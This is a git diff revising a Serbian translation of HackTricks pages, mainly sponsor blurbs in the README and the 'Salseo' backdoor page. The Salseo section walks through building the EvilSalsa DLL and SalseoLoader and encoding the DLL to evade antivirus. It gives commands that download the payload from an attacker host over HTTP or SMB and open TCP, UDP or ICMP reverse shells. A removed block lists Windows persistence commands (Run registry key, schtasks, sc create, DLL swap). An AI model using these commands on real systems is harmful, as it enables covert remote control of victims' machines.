Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat
After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 16 KiB |
Before Width: | Height: | Size: 16 KiB After Width: | Height: | Size: 132 KiB |
Before Width: | Height: | Size: 132 KiB After Width: | Height: | Size: 20 KiB |
Before Width: | Height: | Size: 20 KiB After Width: | Height: | Size: 8.1 KiB |
Before Width: | Height: | Size: 8.1 KiB After Width: | Height: | Size: 51 KiB |
Before Width: | Height: | Size: 51 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 39 KiB |
Before Width: | Height: | Size: 39 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 322 KiB |
Before Width: | Height: | Size: 322 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 34 KiB |
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 176 KiB |
Before Width: | Height: | Size: 176 KiB After Width: | Height: | Size: 152 KiB |
Before Width: | Height: | Size: 152 KiB After Width: | Height: | Size: 31 KiB |
Before Width: | Height: | Size: 31 KiB After Width: | Height: | Size: 71 KiB |
Before Width: | Height: | Size: 71 KiB After Width: | Height: | Size: 65 KiB |
Before Width: | Height: | Size: 65 KiB After Width: | Height: | Size: 42 KiB |
Before Width: | Height: | Size: 42 KiB After Width: | Height: | Size: 43 KiB |
Before Width: | Height: | Size: 43 KiB After Width: | Height: | Size: 79 KiB |
Before Width: | Height: | Size: 79 KiB After Width: | Height: | Size: 175 KiB |
After Width: | Height: | Size: 94 KiB |
Before Width: | Height: | Size: 94 KiB After Width: | Height: | Size: 199 KiB |
Before Width: | Height: | Size: 199 KiB After Width: | Height: | Size: 145 KiB |
Before Width: | Height: | Size: 145 KiB After Width: | Height: | Size: 1.2 MiB |
Before Width: | Height: | Size: 1.2 MiB After Width: | Height: | Size: 100 KiB |
Before Width: | Height: | Size: 100 KiB After Width: | Height: | Size: 12 KiB |
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 121 KiB |
Before Width: | Height: | Size: 121 KiB After Width: | Height: | Size: 7 KiB |
Before Width: | Height: | Size: 7 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 60 KiB |
Before Width: | Height: | Size: 60 KiB After Width: | Height: | Size: 223 KiB |
Before Width: | Height: | Size: 223 KiB After Width: | Height: | Size: 27 KiB |
Before Width: | Height: | Size: 27 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 90 KiB |
Before Width: | Height: | Size: 90 KiB After Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 172 KiB |
After Width: | Height: | Size: 19 KiB |
Before Width: | Height: | Size: 19 KiB After Width: | Height: | Size: 78 KiB |
Before Width: | Height: | Size: 78 KiB After Width: | Height: | Size: 38 KiB |
Before Width: | Height: | Size: 38 KiB After Width: | Height: | Size: 795 KiB |
Before Width: | Height: | Size: 795 KiB After Width: | Height: | Size: 104 KiB |
Before Width: | Height: | Size: 104 KiB After Width: | Height: | Size: 17 KiB |
Before Width: | Height: | Size: 17 KiB After Width: | Height: | Size: 68 KiB |
Before Width: | Height: | Size: 68 KiB After Width: | Height: | Size: 154 KiB |
Before Width: | Height: | Size: 154 KiB After Width: | Height: | Size: 74 KiB |
Before Width: | Height: | Size: 74 KiB After Width: | Height: | Size: 14 KiB |
Before Width: | Height: | Size: 14 KiB After Width: | Height: | Size: 53 KiB |
Before Width: | Height: | Size: 53 KiB After Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 1 MiB |
After Width: | Height: | Size: 60 KiB |
Before Width: | Height: | Size: 60 KiB After Width: | Height: | Size: 13 KiB |
Before Width: | Height: | Size: 13 KiB After Width: | Height: | Size: 7.8 KiB |
Before Width: | Height: | Size: 7.8 KiB After Width: | Height: | Size: 48 KiB |
Before Width: | Height: | Size: 48 KiB After Width: | Height: | Size: 76 KiB |
Before Width: | Height: | Size: 76 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 237 KiB |
Before Width: | Height: | Size: 237 KiB After Width: | Height: | Size: 56 KiB |
Before Width: | Height: | Size: 56 KiB After Width: | Height: | Size: 43 KiB |
Before Width: | Height: | Size: 43 KiB After Width: | Height: | Size: 708 KiB |
BIN
.gitbook/assets/image (5) (1) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 3.2 MiB |
Before Width: | Height: | Size: 3.2 MiB After Width: | Height: | Size: 82 KiB |
Before Width: | Height: | Size: 82 KiB After Width: | Height: | Size: 18 KiB |
Before Width: | Height: | Size: 18 KiB After Width: | Height: | Size: 111 KiB |
Before Width: | Height: | Size: 111 KiB After Width: | Height: | Size: 246 KiB |
Before Width: | Height: | Size: 246 KiB After Width: | Height: | Size: 201 KiB |
Before Width: | Height: | Size: 201 KiB After Width: | Height: | Size: 407 KiB |
39
README.md
|
@ -20,7 +20,7 @@ Za početak pratite ovu stranicu gde ćete pronaći **tipičan tok** koji **treb
|
|||
|
||||
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**STM Cyber**](https://www.stmcyber.com) je odlična kompanija za sajber bezbednost čiji je slogan **HAKUJ NEHAKOVANO**. Sprovode sopstvena istraživanja i razvijaju svoje alate za hakovanje kako bi ponudili nekoliko vrednih usluga sajber bezbednosti poput pentestinga, Crvenih timova i obuke.
|
||||
[**STM Cyber**](https://www.stmcyber.com) je odlična kompanija za sajber bezbednost čiji je slogan **HAKUJ NEHAKOVANO**. Sprovode sopstvena istraživanja i razvijaju sopstvene alate za hakovanje kako bi ponudili nekoliko vrednih usluga sajber bezbednosti poput pentestinga, Crvenih timova i obuke.
|
||||
|
||||
Možete proveriti njihov **blog** na [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
||||
|
||||
|
@ -30,20 +30,21 @@ Možete proveriti njihov **blog** na [**https://blog.stmcyber.com**](https://blo
|
|||
|
||||
### [RootedCON](https://www.rootedcon.com/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) je najrelevantniji događaj sajber bezbednosti u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je ključno mesto susreta tehnoloških i sajber bezbednosnih profesionalaca u svakoj disciplini.
|
||||
[**RootedCON**](https://www.rootedcon.com) je najrelevantniji događaj sajber bezbednosti u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je ključno mesto susreta tehnoloških i sajber bezbednosnih stručnjaka u svakoj disciplini.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
***
|
||||
|
||||
### [Intigriti](https://www.intigriti.com)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti** je **broj 1 u Evropi** za etičko hakovanje i **platforma za bug bounty.**
|
||||
|
||||
**Savet za bug bounty**: **registrujte se** za **Intigriti**, premium **platformu za bug bounty kreiranu od hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**!
|
||||
**Savet za bug bounty**: **Prijavite se** za **Intigriti**, premium **platformu za bug bounty kreiranu od hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -51,7 +52,7 @@ Možete proveriti njihov **blog** na [**https://blog.stmcyber.com**](https://blo
|
|||
|
||||
### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.
|
||||
|
@ -64,7 +65,7 @@ Pristupite danas:
|
|||
|
||||
### [HACKENPROOF](https://bit.ly/3xrrDrL)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na bug bounty!
|
||||
|
||||
|
@ -74,8 +75,8 @@ Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
|
|||
**Vesti o hakovanju u realnom vremenu**\
|
||||
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
|
||||
|
||||
**Najnovije najave**\
|
||||
Ostanite informisani o najnovijim bug bounty programima i bitnim ažuriranjima platforme
|
||||
**Najnovije objave**\
|
||||
Budite informisani o najnovijim bug bounty programima i bitnim ažuriranjima platforme
|
||||
|
||||
**Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
|
||||
|
||||
|
@ -83,17 +84,17 @@ Ostanite informisani o najnovijim bug bounty programima i bitnim ažuriranjima p
|
|||
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/) - Osnovni alat za testiranje penetracije
|
||||
|
||||
<figure><img src=".gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Instantno dostupno podešavanje za procenu ranjivosti i testiranje penetracije**. Pokrenite kompletan pentest od bilo kog mesta sa preko 20 alata i funkcija koje idu od izviđanja do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za otkrivanje i eksploataciju kako bismo im omogućili više vremena za dublje istraživanje, otvaranje školjki i zabavu.
|
||||
**Odmah dostupno podešavanje za procenu ranjivosti i testiranje penetracije**. Pokrenite kompletan pentest od bilo kog mesta sa preko 20 alata i funkcija koje idu od izviđanja do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, detekciju i module za eksploataciju kako bismo im omogućili više vremena za dublje kopanje, otvaranje školjki i zabavu.
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
***
|
||||
|
||||
### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
|
||||
\### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -103,17 +104,17 @@ Ostanite informisani o najnovijim bug bounty programima i bitnim ažuriranjima p
|
|||
|
||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl) je profesionalna kompanija za sajber bezbednost sa sedištem u **Amsterdamu** koja pomaže u **zaštiti** poslovanja **širom sveta** od najnovijih sajber bezbednosnih pretnji pružajući **usluge ofanzivne bezbednosti** sa **modernim** pristupom.
|
||||
[**WebSec**](https://websec.nl) je profesionalna kompanija za sajber bezbednost sa sedištem u **Amsterdamu** koja pomaže u **zaštiti** poslovanja **širom sveta** od najnovijih sajber pretnji pružajući **ofanzivne bezbednosne usluge** sa **modernim** pristupom.
|
||||
|
||||
WebSec je **kompanija za sveobuhvatnu bezbednost** što znači da rade sve; Pentesting, **bezbednosne** provere, obuke o svesti, phishing kampanje, pregled koda, razvoj eksploatacija, outsourcing stručnjaka za bezbednost i mnogo toga.
|
||||
WebSec je **kompanija za sveobuhvatnu bezbednost** što znači da rade sve; Pentesting, **Bezbednosne** revizije, Obuke o svesti, Kampanje ribarenja, Pregled koda, Razvoj eksploatacije, Outsourcing bezbednosnih eksperata i mnogo više.
|
||||
|
||||
Još jedna sjajna stvar u vezi sa WebSec-om je što, za razliku od industrijskog proseka, WebSec je **veoma siguran u svoje veštine**, do te mere da **garantuju najbolje kvalitetne rezultate**, piše na njihovom sajtu "**Ako ne možemo da hakuujemo, ne plaćate!**". Za više informacija pogledajte njihov [**sajt**](https://websec.nl/en/) i [**blog**](https://websec.nl/blog/)!
|
||||
Još jedna cool stvar o WebSec-u je što, za razliku od industrijskog proseka, WebSec je **veoma siguran u svoje veštine**, do te mere da **garantuje najbolje kvalitetne rezultate**, piše na njihovom sajtu "**Ako ne možemo da hakuujemo, ne plaćate!**". Za više informacija pogledajte njihov [**sajt**](https://websec.nl/en/) i [**blog**](https://websec.nl/blog/)!
|
||||
|
||||
Pored navedenog, WebSec takođe podržava HackTricks.
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||
|
||||
## Licenca i Izjava o odricanju od odgovornosti
|
||||
## Licenca i Odricanje od odgovornosti
|
||||
|
||||
**Proverite ih u:**
|
||||
|
||||
|
@ -129,8 +130,8 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -353,6 +353,7 @@
|
|||
* [22 - Pentesting SSH/SFTP](network-services-pentesting/pentesting-ssh.md)
|
||||
* [23 - Pentesting Telnet](network-services-pentesting/pentesting-telnet.md)
|
||||
* [25,465,587 - Pentesting SMTP/s](network-services-pentesting/pentesting-smtp/README.md)
|
||||
* [SMTP Smuggling](network-services-pentesting/pentesting-smtp/smtp-smuggling.md)
|
||||
* [SMTP - Commands](network-services-pentesting/pentesting-smtp/smtp-commands.md)
|
||||
* [43 - Pentesting WHOIS](network-services-pentesting/43-pentesting-whois.md)
|
||||
* [49 - Pentesting TACACS+](network-services-pentesting/49-pentesting-tacacs+.md)
|
||||
|
|
|
@ -6,33 +6,33 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
## Kompajliranje binarnih fajlova
|
||||
|
||||
Preuzmite izvorni kod sa github-a i kompajlirajte **EvilSalsa** i **SalseoLoader**. Potrebno je da imate instaliran **Visual Studio** za kompajliranje koda.
|
||||
Preuzmite izvorni kod sa github-a i kompajlirajte **EvilSalsa** i **SalseoLoader**. Trebaće vam instaliran **Visual Studio** za kompajliranje koda.
|
||||
|
||||
Kompajlirajte ove projekte za arhitekturu Windows mašine na kojoj ćete ih koristiti (ako Windows podržava x64, kompajlirajte ih za tu arhitekturu).
|
||||
Kompajlirajte ove projekte za arhitekturu Windows sistema na kojem ćete ih koristiti (ako Windows podržava x64, kompajlirajte ih za tu arhitekturu).
|
||||
|
||||
Možete **izabrati arhitekturu** unutar Visual Studio-a u **levom "Build" tabu** u **"Platform Target"**.
|
||||
Možete **izabrati arhitekturu** unutar Visual Studio-a u **levom "Build" Tab-u** u **"Platform Target".**
|
||||
|
||||
(\*\*Ako ne možete da pronađete ove opcije, pritisnite na **"Project Tab"** a zatim na **"\<Project Name> Properties"**)
|
||||
(\*\*Ako ne možete pronaći ove opcije, kliknite na **"Project Tab"** a zatim na **"\<Project Name> Properties"**)
|
||||
|
||||
![](<../.gitbook/assets/image (132).png>)
|
||||
|
||||
Zatim, kompajlirajte oba projekta (Build -> Build Solution) (Unutar logova će se pojaviti putanja do izvršnog fajla):
|
||||
Zatim, izgradite oba projekta (Build -> Build Solution) (Unutar logova će se pojaviti putanja izvršnog fajla):
|
||||
|
||||
![](<../.gitbook/assets/image (1) (2) (1) (1) (1).png>)
|
||||
|
||||
## Priprema Backdoor-a
|
||||
|
||||
Prvo, morate enkodirati **EvilSalsa.dll**. Za to možete koristiti python skriptu **encrypterassembly.py** ili možete kompajlirati projekat **EncrypterAssembly**:
|
||||
Prvo, moraćete da enkodujete **EvilSalsa.dll.** Za to možete koristiti python skriptu **encrypterassembly.py** ili možete kompajlirati projekat **EncrypterAssembly**:
|
||||
|
||||
### **Python**
|
||||
```
|
||||
|
@ -40,82 +40,31 @@ python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
|
|||
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
|
||||
```
|
||||
### Windows
|
||||
|
||||
Windows operativni sistem pruža razne mogućnosti za postavljanje backdoor-a i održavanje pristupa računaru. U nastavku su opisane neke od najčešćih tehnika:
|
||||
|
||||
#### 1. Registry backdoor
|
||||
|
||||
Ova tehnika uključuje izmenu registra kako bi se omogućio pristup računaru. Možete dodati novi unos u registar koji će se pokrenuti prilikom svakog pokretanja sistema. Na taj način, backdoor će biti aktiviran svaki put kada se računar pokrene.
|
||||
|
||||
```plaintext
|
||||
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
|
||||
"Backdoor"="C:\\path\\to\\backdoor.exe"
|
||||
```
|
||||
|
||||
#### 2. Scheduled Task backdoor
|
||||
|
||||
Korišćenje zakazanih zadataka je još jedan način za postavljanje backdoor-a. Možete kreirati novi zakazani zadatak koji će se izvršavati u određeno vreme ili prilikom određenog događaja. Na taj način, backdoor će biti pokrenut automatski prema vašim postavkama.
|
||||
|
||||
```plaintext
|
||||
schtasks /create /sc minute /mo 5 /tn "Backdoor" /tr "C:\\path\\to\\backdoor.exe"
|
||||
```
|
||||
|
||||
#### 3. Service backdoor
|
||||
|
||||
Kreiranje backdoor-a kao Windows servisa takođe može biti efikasan način održavanja pristupa računaru. Možete kreirati novi servis koji će se pokretati u pozadini i omogućiti vam pristup računaru.
|
||||
|
||||
```plaintext
|
||||
sc create Backdoor binPath= "C:\\path\\to\\backdoor.exe" start= auto
|
||||
sc start Backdoor
|
||||
```
|
||||
|
||||
#### 4. DLL backdoor
|
||||
|
||||
Manipulacija DLL fajlovima takođe može biti korisna tehnika za postavljanje backdoor-a. Možete zameniti postojeću DLL datoteku sa modifikovanom verzijom koja će omogućiti pristup računaru.
|
||||
|
||||
```plaintext
|
||||
ren C:\\path\\to\\original.dll original.dll.bak
|
||||
copy C:\\path\\to\\backdoor.dll C:\\path\\to\\original.dll
|
||||
```
|
||||
|
||||
#### 5. Trojan backdoor
|
||||
|
||||
Trojanski konj je vrsta zlonamernog softvera koji se maskira kao legitimna aplikacija. Možete koristiti trojanskog konja kao backdoor kako biste dobili pristup računaru. Ova tehnika obično zahteva socijalno inženjering kako bi se žrtva navela da preuzme i pokrene trojanskog konja.
|
||||
|
||||
#### 6. Remote Administration Tools (RATs)
|
||||
|
||||
RAT alati su softverski alati koji omogućavaju daljinsko upravljanje računarom. Možete koristiti RAT alate kao backdoor kako biste dobili pristup računaru i izvršavali različite komande.
|
||||
|
||||
#### 7. Exploiting Vulnerabilities
|
||||
|
||||
Iskorišćavanje ranjivosti u Windows operativnom sistemu takođe može dovesti do postavljanja backdoor-a. Pronalaženje i iskorišćavanje ranjivosti može vam omogućiti pristup računaru.
|
||||
|
||||
Napomena: Korišćenje ovih tehnika za neovlašćeni pristup računarima je ilegalno i može imati ozbiljne pravne posledice. Ove tehnike su ovde opisane samo u informativne svrhe kako biste bolje razumeli potencijalne ranjivosti i zaštitili svoje računare od napada.
|
||||
```
|
||||
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
|
||||
```
|
||||
Dobro, sada imate sve što vam je potrebno da izvršite sve Salseo stvari: **enkodirani EvilDalsa.dll** i **binarni fajl SalseoLoader.**
|
||||
Sada imate sve što vam je potrebno da izvršite ceo Salseo postupak: **enkodirani EvilDalsa.dll** i **binarni fajl SalseoLoader.**
|
||||
|
||||
**Postavite binarni fajl SalseoLoader.exe na mašinu. Ne bi trebalo da bude otkriven od strane antivirus programa...**
|
||||
**Otpremite binarni fajl SalseoLoader.exe na mašinu. Ne bi trebalo da budu otkriveni od strane bilo kog AV...**
|
||||
|
||||
## **Izvršite backdoor**
|
||||
|
||||
### **Dobijanje TCP reverse shell-a (preuzimanje enkodiranog dll-a putem HTTP-a)**
|
||||
### **Dobijanje TCP reverznog shell-a (preuzimanje enkodiranog dll-a putem HTTP-a)**
|
||||
|
||||
Ne zaboravite da pokrenete nc kao listener za reverse shell i HTTP server za serviranje enkodiranog evilsalsa.
|
||||
Zapamtite da pokrenete nc kao osluškivač reverznog shella i HTTP server kako biste poslužili enkodirani evilsalsa.
|
||||
```
|
||||
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
|
||||
```
|
||||
### **Dobijanje UDP obrnutog školjka (preuzimanje kodirane dll preko SMB-a)**
|
||||
### **Dobijanje UDP obrnutog školjka (preuzimanje enkodiranog dll-a putem SMB-a)**
|
||||
|
||||
Zapamtite da pokrenete nc kao osluškivač obrnutog školjka i SMB server za posluživanje kodirane evilsalsa (impacket-smbserver).
|
||||
Zapamtite da pokrenete nc kao osluškivač obrnutog školjka, i SMB server da posluži enkodirani evilsalsa (impacket-smbserver).
|
||||
```
|
||||
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
|
||||
```
|
||||
### **Dobijanje obrnutog školjkaškog pristupa putem ICMP-a (enkodirani dll već prisutan na žrtvi)**
|
||||
### **Dobijanje ICMP reverse shell (enkodirani dll već unutar žrtve)**
|
||||
|
||||
**Ovaj put vam je potreban poseban alat na klijentu za prijem obrnutog školjkaškog pristupa. Preuzmite:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
|
||||
**Ovog puta vam je potreban poseban alat na klijentu da primi reverse shell. Preuzmite:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
|
||||
|
||||
#### **Onemogućavanje ICMP odgovora:**
|
||||
```
|
||||
|
@ -125,12 +74,6 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=1
|
|||
sysctl -w net.ipv4.icmp_echo_ignore_all=0
|
||||
```
|
||||
#### Izvršite klijenta:
|
||||
|
||||
```bash
|
||||
./client
|
||||
```
|
||||
|
||||
Ovom komandom pokrećete klijenta.
|
||||
```
|
||||
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
|
||||
```
|
||||
|
@ -138,29 +81,29 @@ python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
|
|||
```
|
||||
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
|
||||
```
|
||||
## Kompajliranje SalseoLoader-a kao DLL koji izvozi glavnu funkciju
|
||||
## Kompajliranje SalseoLoader-a kao DLL izvođenjem glavne funkcije
|
||||
|
||||
Otvorite projekat SalseoLoader koristeći Visual Studio.
|
||||
|
||||
### Dodajte ispred glavne funkcije: \[DllExport]
|
||||
### Dodajte pre glavne funkcije: \[DllExport]
|
||||
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
### Instalirajte DllExport za ovaj projekat
|
||||
|
||||
#### **Alati** --> **NuGet Package Manager** --> **Manage NuGet Packages for Solution...**
|
||||
#### **Alati** --> **NuGet Package Manager** --> **Upravljanje NuGet paketima za rešenje...**
|
||||
|
||||
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
#### **Pretražite DllExport paket (koristeći karticu Browse), i pritisnite Install (i prihvatite popup)**
|
||||
#### **Pretražite DllExport paket (koristeći karticu Browse), i pritisnite Instaliraj (i prihvatite iskačući prozor)**
|
||||
|
||||
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
U vašem projekt folderu će se pojaviti fajlovi: **DllExport.bat** i **DllExport\_Configure.bat**
|
||||
U vašem projekt folderu pojaviće se fajlovi: **DllExport.bat** i **DllExport\_Configure.bat**
|
||||
|
||||
### **Deinstalirajte** DllExport
|
||||
### **De**instalirajte DllExport
|
||||
|
||||
Pritisnite **Uninstall** (da, čudno je ali verujte mi, neophodno je)
|
||||
Pritisnite **Deinstaliraj** (da, čudno je ali verujte mi, neophodno je)
|
||||
|
||||
![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>)
|
||||
|
||||
|
@ -170,41 +113,41 @@ Jednostavno **izađite** iz Visual Studio-a
|
|||
|
||||
Zatim, idite u vaš **SalseoLoader folder** i **izvršite DllExport\_Configure.bat**
|
||||
|
||||
Izaberite **x64** (ako ćete ga koristiti unutar x64 sistema, to je bio moj slučaj), izaberite **System.Runtime.InteropServices** (unutar **Namespace for DllExport**) i pritisnite **Apply**
|
||||
Izaberite **x64** (ako ćete ga koristiti unutar x64 okruženja, to je bio moj slučaj), izaberite **System.Runtime.InteropServices** (unutar **Namespace for DllExport**) i pritisnite **Primeni**
|
||||
|
||||
![](<../.gitbook/assets/image (7) (1) (1) (1) (1).png>)
|
||||
|
||||
### **Otvorite projekat ponovo sa Visual Studio-om**
|
||||
|
||||
**\[DllExport]** više ne bi trebalo biti označeno kao greška
|
||||
**\[DllExport]** više ne bi trebalo da bude označen kao greška
|
||||
|
||||
![](<../.gitbook/assets/image (8) (1).png>)
|
||||
|
||||
### Izgradite rešenje
|
||||
|
||||
